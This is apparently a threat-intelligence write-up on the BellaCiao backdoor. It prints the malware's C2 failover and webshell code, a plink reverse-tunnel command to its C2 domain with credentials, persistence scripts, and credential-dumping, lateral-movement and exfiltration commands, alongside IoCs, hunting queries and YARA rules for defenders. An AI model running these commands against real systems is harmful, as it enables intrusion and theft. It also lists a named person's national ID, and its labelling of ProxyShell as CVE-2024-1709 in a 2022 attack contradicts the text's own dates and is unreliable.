BellaCiao Technical Analysis

Comprehensive technical analysis of both BellaCiao variants, covering command-and-control protocols, persistence mechanisms, operational security, and defensive strategies.

Executive Summary

BellaCiao is a sophisticated multi-variant backdoor malware developed by CharmingKitten (IRGC-IO Department 40) for persistent access to compromised Microsoft Exchange and IIS web servers. The malware demonstrates advanced operational security, flexible deployment options, and robust C2 mechanisms.

First Seen

2022Deployed against Middle East targets

Confirmed Victims

50+Turkey, UAE, Saudi Arabia, Kuwait, Iran

Attribution Confidence

HighSource code, infrastructure, personnel

Variant Comparison Matrix

Characteristic	Variant 1 (C#)	Variant 2 (PowerShell)
Language	C# (.NET Framework 4.0)	PowerShell 5.1+
File Type	Compiled executable (PE32)	Script (.ps1)
Installation	Windows Service	Script execution
Persistence	Service auto-start	Scheduled task / Registry
C2 Protocol	DNS beaconing	SSH reverse tunnel
C2 Interval	24 hours	Persistent connection
Webshell Type	ASP.NET (.aspx)	PowerShell HTTP server
Deployment Path	IIS wwwroot, Exchange OWA	Localhost only
File Operations	Upload, download, execute	Upload, download, execute, browse
Stealth	Service masquerading	Legitimate PowerShell
OPSEC	Good (DNS tunneling)	Moderate (SSH on 443)
Modularity	Low (monolithic)	High (separate components)
Detection Difficulty	Medium	Medium-High

Command and Control Analysis

Variant 1: DNS-Based C2

Protocol Overview

Variant 1 implements a sophisticated DNS-based command and control protocol:

[Malware Service] 
    |
    | Every 24 hours
    v
[Generate Random Subdomain]
    |
    | Format: [A-Z]{2}[a-z]{3}EXH
    | Example: ABcdeEXH
    v
[DNS A Record Query]
    |
    | Query: ABcdeEXH.eposta.maill-support.com
    v
[DNS Server Response]
    |
    | A Record: 212.175.168.58
    v
[Decode IP as Command]
    |
    | Octet 1-2: Command type
    | Octet 3: Target system (Exchange vs IIS)
    | Octet 4: Action (deploy vs remove)
    v
[Execute Command]

Command Encoding Scheme

IP Address Structure:

[First Octet].[Second Octet].[Third Octet].[Fourth Octet]
     |              |              |              |
  Primary        Secondary      System        Action
  Selector       Selector       Type          Type

Octet 1 (Primary Selector):

212: Use predefined filename
Other: Use random generated filename

Octet 2 (Secondary Selector):

175: Path type 1 (IIS wwwroot / Exchange themes resources)
176: Path type 2 (IIS wwwroot2 / Exchange themes)
177: Path type 3 (Exchange OWA auth current)

Octet 3 (System Type):

168: Exchange Server target
Other: IIS target

Octet 4 (Action):

58: Deploy webshell
59: Remove all webshells

Example Commands

Deploy Exchange Webshell
Deploy IIS Webshell
Remove All Webshells

DNS Response: 212.175.168.58Decoded Action:

212: Use predefined name (owafont.aspx)
175: Use path 1 (themes resources)
168: Exchange Server
58: Deploy webshell

Result:

Deploy: C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\Current\themes\resources\owafont.aspx

DNS Response: 10.176.100.58Decoded Action:

10: Use random name (e.g., ABcde.aspx)
176: Use path 2 (wwwroot2)
100: IIS target (not 168)
58: Deploy webshell

Result:

Deploy: C:\inetpub\wwwroot\aspnet_client\system_web\ABcde.aspx

DNS Response: 212.175.168.59Decoded Action:

59 in fourth octet triggers removal

Result:

Delete all files from:
- All IIS wwwroot paths
- All Exchange OWA paths

C2 Resilience

Domain Failover:

try {
    // Try primary domain
    query = System.Net.Dns.GetHostEntry(randstr + "EXH" + dnsdomain);
    response = query.AddressList[0].ToString();
}
catch (Exception) {
    // Fallback to secondary domain after 60 second delay
    System.Threading.Thread.Sleep(60 * 1000);
    query = System.Net.Dns.GetHostEntry(randstr + "EXH" + dnsdomain2);
    response = query.AddressList[0].ToString();
}

Benefits of DNS C2:

Bypasses many firewall rules (DNS typically allowed)
Low network footprint (single query every 24 hours)
Difficult to detect without DNS logging
No direct connection to C2 server
Natural traffic pattern (applications query DNS regularly)

Variant 2: SSH Reverse Tunnel

Tunnel Architecture

[Victim System]              [C2 Server: twittsupport.com]
     |
     | Outbound SSH on port 443
     | Appears as HTTPS traffic
     v
[SSH Server on C2]
     |
     | Reverse tunnel established
     | -R 127.0.0.1:9090:127.0.0.1:49450
     v
[C2 Localhost Port 9090] <--> [Victim Localhost Port 49450]
                                         |
                                         v
                                [PowerShell Webserver]

Tunnel Configuration

Plink Command:

echo Y | "C:\ProgramData\Microsoft\Diagnostic\Java Update Services.exe" twittsupport.com -P 443 -C -R 127.0.0.1:9090:127.0.0.1:49450 -l Israel -pw Israel@123!

Parameter Analysis:

Parameter	Value	Purpose	OPSEC Impact
`echo Y`	Auto-accept	Bypass host key warning	Enables unattended operation
Target	`twittsupport.com`	C2 domain	Uses legitimate-looking domain
`-P 443`	SSH port 443	Port selection	Mimics HTTPS traffic
`-C`	Compression	Enable SSH compression	Reduces bandwidth, harder to analyze
`-R`	Reverse tunnel	Forward C2:9090 to victim:49450	No inbound firewall rules needed
`-l Israel`	Username	SSH authentication	Hardcoded credential
`-pw Israel@123!`	Password	SSH authentication	Weak password, reused across ops
Binary path	`Java Update Services.exe`	Plink masquerading	Appears as Java updater

Operator Access Flow

Establish tunnel from victim

Victim system initiates outbound SSH connection to C2 server on port 443

C2 server opens local port

C2 server opens listening port 9090 on localhost (only accessible to C2 system)

Operator connects to localhost

Operator on C2 server browses to http://localhost:9090 in web browser

Traffic tunneled to victim

HTTP requests forwarded through SSH tunnel to victim’s port 49450

PowerShell webserver responds

PowerShell webserver on victim processes request and returns response through tunnel

Persistence Mechanisms

Variant 1: Windows Service

Installation:

// Service configuration
ServiceName = "MicrosoftAgentServices"
DisplayName = "Microsoft Agent Services"
Description = "Provides agent services for Microsoft applications"
StartType = Automatic
Account = LocalSystem

Installation Command:

sc create MicrosoftAgentServices binPath= "C:\Windows\System32\MicrosoftAgentServices.exe" start= auto
sc description MicrosoftAgentServices "Provides agent services for Microsoft applications"
sc start MicrosoftAgentServices

Persistence Benefits:

Survives reboots
Runs as SYSTEM
Appears legitimate (Microsoft in name)
Standard Windows management (sc.exe)

Detection:

# Find service
Get-Service | Where-Object { $_.Name -eq "MicrosoftAgentServices" }

# Check service details
Get-WmiObject Win32_Service | Where-Object { $_.Name -eq "MicrosoftAgentServices" } | Select-Object *

# View service binary path
(Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\MicrosoftAgentServices").ImagePath

Variant 2: Multiple Options

Scheduled Task Persistence

# Create scheduled task
$action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-ExecutionPolicy Bypass -WindowStyle Hidden -File C:\ProgramData\iis.ps1"
$trigger = New-ScheduledTaskTrigger -AtStartup
$principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -LogonType ServiceAccount -RunLevel Highest
$settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable
Register-ScheduledTask -TaskName "Windows Update Service" -Action $action -Trigger $trigger -Principal $principal -Settings $settings

Registry Run Key

# HKLM Run key (all users)
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" -Name "WindowsDefender" -Value "powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -File C:\ProgramData\iis.ps1"

# HKCU Run key (current user)
Set-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" -Name "WindowsDefender" -Value "powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -File C:\ProgramData\iis.ps1"

WMI Event Subscription

# Create WMI event subscription for persistence
$Filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{
    Name = "WindowsUpdateFilter"
    EventNamespace = "root\cimv2"
    QueryLanguage = "WQL"
    Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
}

$Consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments @{
    Name = "WindowsUpdateConsumer"
    CommandLineTemplate = "powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -File C:\ProgramData\iis.ps1"
}

Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{
    Filter = $Filter
    Consumer = $Consumer
}

Webshell Analysis

Variant 1 Webshells

The webshells dropped by Variant 1 are base64-encoded ASP.NET pages. The malware stores them as:

public string web = "i am good boy"; // Placeholder in source
// Actual deployment contains base64-encoded ASPX webshell

Deployment process:

byte[] clearWeb = System.Convert.FromBase64String(
    web.Replace("#", "").Replace("@", "")
);
System.IO.File.WriteAllBytes(path, clearWeb);

Typical capabilities:

File upload/download
Command execution via cmd.exe or powershell.exe
Directory browsing
Process listing and termination
Registry access

Variant 2 Webserver

Variant 2 implements a full PowerShell HTTP server with extensive capabilities:

Web Interface Routes

Route	Method	Function	Risk Level
`/`	GET	Command execution form	Critical
`/script`	POST	Upload and execute PS1 scripts	Critical
`/upload`	POST	Upload arbitrary files	High
`/download`	GET/POST	Download files from system	High
`/log`	GET	View webserver access logs	Medium
`/time`	GET	Get system time	Low
`/starttime`	GET	View webserver start time	Low
`/beep`	GET	System beep (presence check)	Low
`/exit` or `/quit`	GET	Stop webserver	Medium
`/*` (any path)	GET	Browse filesystem, download files	High

Command Execution Interface

The root path (/) provides a web-based PowerShell prompt: HTML Interface:

<form method="GET" action="/">
    <b>PS C:\&gt;</b>
    <input type="text" maxlength="255" size="80" name="command" value="whoami">
    <input type="submit" name="button" value="Enter">
</form>
<pre>[Command output displayed here]</pre>

Backend Execution:

$FORMFIELD = [URI]::UnescapeDataString(($REQUEST.Url.Query -replace "\+"," "))
$FORMFIELD = $FORMFIELD -replace "\?command=","" -replace "\?button=enter","" -replace "&command=","" -replace "&button=enter",""

if (![STRING]::IsNullOrEmpty($FORMFIELD)) {
    try {
        $RESULT = Invoke-Expression -EA SilentlyContinue $FORMFIELD 2> $NULL | Out-String
    }
    catch {
        $RESULT += "`nError while executing '$FORMFIELD'`n`n"
        $RESULT += $Error[0]
        $Error.Clear()
    }
}

Direct use of Invoke-Expression on user input allows arbitrary PowerShell command execution with the privileges of the running script (typically SYSTEM).

Operational Security Analysis

OPSEC Strengths

Variant 1 OPSEC Strengths

DNS Tunneling
- Blends with normal DNS traffic
- Low frequency (24-hour beacon interval)
- Minimal network footprint
Legitimate Paths
- Targets system directories (wwwroot, Exchange)
- Files named to appear legitimate (aspnet, owafont, themes)
Service Masquerading
- Service name mimics Microsoft naming convention
- Runs as LocalSystem (expected for system services)
Command Encoding
- IP addresses appear as normal DNS responses
- No obvious command structure in network traffic
Minimal Artifacts
- Single service binary
- No registry keys beyond service installation
- Webshells only created on demand

Variant 2 OPSEC Strengths

Reverse Tunnel
- No inbound connections required
- Bypasses inbound firewall rules
- Operator connects through tunnel
Port 443 Mimicry
- SSH on port 443 appears as HTTPS
- Blends with legitimate encrypted web traffic
Localhost Binding
- Webserver only accessible via tunnel
- No direct network exposure
- Appears as internal application
PowerShell Native
- No compiled binaries to analyze
- Uses built-in Windows functionality
- Harder to signature-match
Legitimate Tool Abuse
- Plink is a legitimate SSH client
- PowerShell is a built-in Windows tool
- Both have valid administrative uses

OPSEC Weaknesses

Variant 1 OPSEC Weaknesses

Fixed Domain Pattern
- DNS queries always to *.eposta.maill-support.com or *.eposta.mailupdate.info
- Easy to block once identified
Predictable Subdomain Format
- Pattern: [A-Z]{2}[a-z]{3}EXH
- “EXH” marker makes detection easier
Hardcoded Strings
- Domain names in binary
- File paths in binary
- Service name predictable
Base64 in Memory
- Webshell payload stored as base64 string
- Memory scanning can detect
24-Hour Timer
- Predictable beacon interval
- Can correlate with DNS logs

Variant 2 OPSEC Weaknesses

Hardcoded SSH Credentials
- Username: Israel
- Password: Israel@123!
- Same credentials used across all deployments
SSH Protocol Detection
- Despite port 443, SSH protocol identifiable by DPI
- SSL/TLS inspection can detect SSH tunneling
Hardcoded C2 Domains
- twittsupport.com and msn-center.uk
- Easy to block once identified
Plink Renamed but Detectable
- File renamed but PE structure unchanged
- Can be identified by hash or PE headers
PowerShell Script Block Logging
- If enabled, captures full script execution
- Webserver source code logged
Localhost Port 49450
- Fixed port number
- Easy to monitor for HTTP listener

Credential Reuse Issues

Critical OPSEC Failure: The SSH credentials Israel / Israel@123! are hardcoded and reused across all Variant 2 deployments.

This allows defenders to:

Search SSH logs for username “Israel”
Identify compromised systems with authentication attempts
Track CharmingKitten infrastructure by SSH login patterns
Correlate attacks across different targets

Attack Pattern Analysis

Typical Kill Chain

Initial Access

ProxyShell Exploitation (CVE-2024-1709)

Target: Microsoft Exchange Server
Method: ProxyShell vulnerability chain
Result: Remote code execution as SYSTEM

Persistence - Phase 1

BellaCiao Variant 1 Deployment

Deploy as Windows Service
Establish DNS beaconing
Drop initial webshell to Exchange OWA path

Persistence - Phase 2

BellaCiao Variant 2 Deployment

Deploy PowerShell script
Establish SSH reverse tunnel
Start local webserver for operator access

Discovery

Network and System Reconnaissance

Domain enumeration: net user /domain, nltest
Network scanning: nmap, internal IP ranges
Credential dumping: SAM/SYSTEM registry hives

Lateral Movement

Spread to Additional Systems

Use harvested credentials
Deploy webshells to other servers
Establish persistence on key systems

Collection

Data Exfiltration

File browser via webserver
Compress sensitive data
Exfiltrate via webshell or SSH tunnel

Real-World Attack: Turkish Foreign Ministry

Timeline:

2022-09-15: Initial ProxyShell exploitation
2022-09-15: BellaCiao Variant 1 deployed as Windows Service
2022-09-16: DNS beaconing detected to eposta.maill-support.com
2022-09-16: Webshell dropped to Exchange OWA path
2022-09-17: Network reconnaissance initiated
2022-09-18: Credentials harvested (Admin1@MFA, pfsenselondra@MFA)
2022-09-19: Lateral movement to 10.20.1.5 and 10.20.1.15
2022-09-20: Additional webshells deployed
2022-09-21: Data collection from domain controllers
2022-09-22: Exfiltration via webshell

Commands Executed:

# Domain reconnaissance
net user /domain
net group "Domain Admins" /domain
nltest /dclist:

# Credential harvesting
reg save HKLM\SAM sam.save
reg save HKLM\SYSTEM system.save
secretsdump.py

# Lateral movement
net use \\10.20.1.5\c$ /user:Admin1@MFA [password]
copy C:\Tools\shell.aspx \\10.20.1.5\c$\inetpub\wwwroot\aspnet_client\

# Data exfiltration
7z a -p[password] exfil.7z C:\Users\*\Documents
# Upload via webshell

See Episode 3 Intelligence for complete attack analysis.

Indicators of Compromise (IoCs)

File System IoCs

# Variant 1
C:\Windows\System32\MicrosoftAgentServices.exe
C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\Current\themes\resources\owafont.aspx
C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\Current\themes\themes.aspx
C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\Current\logon.aspx
C:\inetpub\wwwroot\aspnet_client\aspnet.aspx
C:\inetpub\wwwroot\aspnet_client\system_web\aspnet.aspx
C:\inetpub\wwwroot\aspnet_client\[A-Z]{2}[a-z]{3}.aspx

# Variant 2
C:\ProgramData\Microsoft\Diagnostic\Java Update Services.exe
C:\ProgramData\iis.ps1
C:\Windows\Temp\start-webserver.ps1

Network IoCs

# Variant 1 DNS C2
*.eposta.maill-support.com
*.eposta.mailupdate.info
Pattern: [A-Z]{2}[a-z]{3}EXH.<domain>

# Variant 2 SSH Tunnel
twittsupport.com:443
msn-center.uk:443
Username: Israel
Password: Israel@123!

# Webserver
localhost:49450 (Variant 2)

Registry IoCs

HKLM\SYSTEM\CurrentControlSet\Services\MicrosoftAgentServices
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\*iis.ps1
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\*iis.ps1

Process IoCs

Process: MicrosoftAgentServices.exe
Parent: services.exe
User: SYSTEM

Process: powershell.exe
CommandLine: *-ExecutionPolicy Bypass* *iis.ps1*
User: SYSTEM

Process: Java Update Services.exe
CommandLine: *-P 443* *-R 127.0.0.1* *Israel*
Parent: cmd.exe
User: SYSTEM

Detection and Hunting

Hunting Queries

Splunk
Microsoft Sentinel (KQL)
PowerShell

# Hunt for BellaCiao Variant 1 DNS queries
index=dns query IN ("*.eposta.maill-support.com", "*.eposta.mailupdate.info")
| rex field=query "(?<subdomain>[A-Z]{2}[a-z]{3}EXH)"
| where isnotnull(subdomain)
| stats count by src_ip, query, answer

# Hunt for BellaCiao Variant 1 service
index=windows EventCode=7045 Service_Name="MicrosoftAgentServices"
| table _time, ComputerName, Service_File_Name, Account_Name

# Hunt for BellaCiao Variant 2 Plink execution
index=windows EventCode=4688 
(New_Process_Name="*plink.exe" OR New_Process_Name="*Java Update Services.exe")
Process_Command_Line="*-R 127.0.0.1*" Process_Command_Line="*-P 443*"
| table _time, ComputerName, Account_Name, Process_Command_Line

# Hunt for PowerShell webserver
index=windows EventCode=4104 
ScriptBlockText="*System.Net.HttpListener*" ScriptBlockText="*Invoke-Expression*"
| table _time, ComputerName, ScriptBlockText

// Hunt for BellaCiao DNS queries
DnsEvents
| where Name endswith ".eposta.maill-support.com" or Name endswith ".eposta.mailupdate.info"
| where Name matches regex @"[A-Z]{2}[a-z]{3}EXH\."
| project TimeGenerated, Computer, Name, IPAddresses
| order by TimeGenerated desc

// Hunt for BellaCiao service installation
SecurityEvent
| where EventID == 7045
| where ServiceName == "MicrosoftAgentServices"
| project TimeGenerated, Computer, ServiceFileName, AccountName

// Hunt for Plink reverse tunnel
SecurityEvent
| where EventID == 4688
| where NewProcessName has_any ("plink.exe", "Java Update Services.exe")
| where CommandLine has_all ("-R 127.0.0.1", "-P 443")
| project TimeGenerated, Computer, AccountName, CommandLine

// Hunt for PowerShell HTTP listener
Event
| where EventLog == "Microsoft-Windows-PowerShell/Operational"
| where EventID == 4104
| where RenderedDescription has_all ("System.Net.HttpListener", "Invoke-Expression")
| project TimeGenerated, Computer, RenderedDescription

# Hunt for BellaCiao Variant 1 service
Get-WmiObject Win32_Service | Where-Object { 
    $_.Name -eq "MicrosoftAgentServices" -or 
    $_.PathName -like "*MicrosoftAgentServices*"
} | Select-Object Name, DisplayName, PathName, StartMode, State, StartName

# Hunt for webshells in Exchange paths
$paths = @(
    "C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\Current\themes\resources",
    "C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\Current\themes",
    "C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\Current",
    "C:\inetpub\wwwroot\aspnet_client",
    "C:\inetpub\wwwroot\aspnet_client\system_web"
)

foreach ($path in $paths) {
    if (Test-Path $path) {
        Get-ChildItem -Path $path -Filter *.aspx -Recurse | 
            Select-Object FullName, Length, CreationTime, LastWriteTime
    }
}

# Hunt for Plink/SSH tunnels
Get-Process | Where-Object {
    $_.ProcessName -like "*plink*" -or
    $_.Path -like "*Java Update Services*" -or
    $_.CommandLine -like "*-R 127.0.0.1*"
} | Select-Object ProcessName, Id, Path, CommandLine

# Hunt for PowerShell HTTP listeners
Get-NetTCPConnection | Where-Object {
    $_.LocalAddress -eq "127.0.0.1" -and
    $_.LocalPort -eq 49450 -and
    $_.State -eq "Listen"
} | ForEach-Object {
    $proc = Get-Process -Id $_.OwningProcess
    [PSCustomObject]@{
        LocalPort = $_.LocalPort
        ProcessId = $_.OwningProcess
        ProcessName = $proc.ProcessName
        CommandLine = $proc.CommandLine
    }
}

YARA Rules

rule BellaCiao_Variant1_Service {
    meta:
        description = "Detects BellaCiao Variant 1 Windows Service"
        author = "CharmingKitten Exposure Project"
        date = "2025-01-01"
        hash = "Sample hash from leaked source"
    
    strings:
        $dns1 = ".eposta.maill-support.com" ascii wide
        $dns2 = ".eposta.mailupdate.info" ascii wide
        $service = "MicrosoftAgentServices" ascii wide
        $path1 = "C:\\inetpub\\wwwroot\\aspnet_client" ascii wide
        $path2 = "Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\Current" ascii wide
        $timer = { 24 * 3600 * 1000 } // 24 hour timer
    
    condition:
        uint16(0) == 0x5A4D and // PE file
        filesize < 500KB and
        2 of ($dns*) and
        ($service or 1 of ($path*))
}

rule BellaCiao_Variant2_PowerShell {
    meta:
        description = "Detects BellaCiao Variant 2 PowerShell script"
        author = "CharmingKitten Exposure Project"
        date = "2025-01-01"
    
    strings:
        $domain1 = "twittsupport.com" ascii
        $domain2 = "msn-center.uk" ascii
        $plink = "Java Update Services.exe" ascii
        $tunnel = "-R 127.0.0.1:9090:127.0.0.1:49450" ascii
        $creds = "-l Israel -pw Israel@123!" ascii
        $webserver = "System.Net.HttpListener" ascii
        $binding = "http://127.0.0.1:49450/" ascii
        $invoke = "Invoke-Expression" ascii
    
    condition:
        filesize < 1MB and
        (1 of ($domain*)) and
        ($plink or $tunnel or $creds) and
        ($webserver or $binding) and
        $invoke
}

Defensive Recommendations

Prevention

Patch Management

ProxyShell vulnerabilities: CVE-2021-34473, CVE-2021-34523, CVE-2021-31207
Related CVEs: CVE-2024-1709 (observed in attack reports)
Update Microsoft Exchange to latest security patches
Implement virtual patching if immediate patching not possible

Network Segmentation

Isolate Exchange servers from general network
Restrict outbound connections from Exchange to only required destinations
Block SSH outbound except from authorized jump hosts
Implement DNS filtering to block known malicious domains

Application Whitelisting

Implement AppLocker or Windows Defender Application Control (WDAC)
Block unsigned or untrusted binaries
Restrict PowerShell execution to signed scripts only
Block plink.exe and other SSH clients on Exchange servers

PowerShell Hardening

Enable PowerShell Constrained Language Mode on servers
Implement Just Enough Administration (JEA)
Configure PowerShell Script Block Logging
Configure PowerShell Module Logging
Configure PowerShell Transcription
Restrict Invoke-Expression usage

Detection

Enable comprehensive logging

Windows Security Event Logging (4688, 4689 with command line)
PowerShell logging (4104 script block logging)
DNS query logging
IIS/Exchange request logging
Service installation logging (7045)

Deploy detection rules

Sigma rules for BellaCiao IoCs
YARA rules for file scanning
Network IDS rules for DNS patterns and SSH tunnels
EDR behavioral detections

Monitor for specific indicators

DNS queries to *.eposta.maill-support.com or *.eposta.mailupdate.info
Service installations with “Microsoft” in name from non-Microsoft paths
SSH connections outbound to port 443
PowerShell HttpListener instantiation
Localhost HTTP servers on unusual ports
ASPX files in Exchange OWA authentication paths

Implement behavioral detection

Unusual service installations
Long-running PowerShell processes
Outbound connections from system services
File writes to wwwroot or Exchange paths
Registry modifications for persistence

Response

If BellaCiao infection is confirmed:

Contain the infection

Isolate affected system from network
Block C2 domains at firewall and DNS
Disable affected services
Kill malicious processes

Preserve evidence

Take memory dump
Export relevant logs
Image disk for forensic analysis
Document all actions taken

Eradicate malware

Stop and delete malicious services
Remove persistence mechanisms
Delete webshells and malware files
Check for additional persistence

Recover and harden

Reset all potentially compromised credentials
Rebuild system if complete eradication uncertain
Apply security patches
Implement additional hardening measures

Hunt for additional compromises

Search for IoCs across all systems
Review authentication logs for suspicious activity
Check for lateral movement
Identify exfiltrated data

Attribution and Context

CharmingKitten (also known as APT35, Phosphorus, NewsBeef, Newscaster) is an Iranian threat actor group operating under the Islamic Revolutionary Guard Corps Intelligence Organization (IRGC-IO). Department 40 operates under the Counterintelligence Division (Unit 1500) of IRGC-IO. Leadership: Abbas Rahrovi (National ID: 4270844116) See:

Additional Resources

Variant 1 Analysis

Deep dive into C# webshell dropper

Variant 2 Analysis

PowerShell reverse proxy analysis

Infrastructure

C2 infrastructure and credentials

Episode 3

Source code release episode

BellaCiao

Webshells & Tools

Infrastructure

​BellaCiao Technical Analysis

​Executive Summary

First Seen

Confirmed Victims

Attribution Confidence

​Variant Comparison Matrix

​Command and Control Analysis

​Variant 1: DNS-Based C2

​Protocol Overview

​Command Encoding Scheme

​Example Commands

​C2 Resilience

​Variant 2: SSH Reverse Tunnel

​Tunnel Architecture

​Tunnel Configuration

​Operator Access Flow

​Persistence Mechanisms

​Variant 1: Windows Service

​Variant 2: Multiple Options

​Scheduled Task Persistence

​Registry Run Key

​WMI Event Subscription

​Webshell Analysis

​Variant 1 Webshells

​Variant 2 Webserver

​Web Interface Routes

​Command Execution Interface

​Operational Security Analysis

​OPSEC Strengths

​OPSEC Weaknesses

​Credential Reuse Issues

​Attack Pattern Analysis

​Typical Kill Chain

​Real-World Attack: Turkish Foreign Ministry

​Indicators of Compromise (IoCs)

​File System IoCs

​Network IoCs

​Registry IoCs

​Process IoCs

​Detection and Hunting

​Hunting Queries

​YARA Rules

​Defensive Recommendations

​Prevention

​Detection

​Response

​Attribution and Context

​Additional Resources

Variant 1 Analysis

Variant 2 Analysis

Infrastructure

Episode 3

Build docs developers (and LLMs) love

BellaCiao Technical Analysis

Executive Summary

Variant Comparison Matrix

Command and Control Analysis

Variant 1: DNS-Based C2

Protocol Overview

Command Encoding Scheme

Example Commands

C2 Resilience

Variant 2: SSH Reverse Tunnel

Tunnel Architecture

Tunnel Configuration

Operator Access Flow

Persistence Mechanisms

Variant 1: Windows Service

Variant 2: Multiple Options

Scheduled Task Persistence

Registry Run Key

WMI Event Subscription

Webshell Analysis

Variant 1 Webshells

Variant 2 Webserver

Web Interface Routes

Command Execution Interface

Operational Security Analysis

OPSEC Strengths

OPSEC Weaknesses

Credential Reuse Issues

Attack Pattern Analysis

Typical Kill Chain

Real-World Attack: Turkish Foreign Ministry

Indicators of Compromise (IoCs)

File System IoCs

Network IoCs

Registry IoCs

Process IoCs

Detection and Hunting

Hunting Queries

YARA Rules

Defensive Recommendations

Prevention

Detection

Response

Attribution and Context

Additional Resources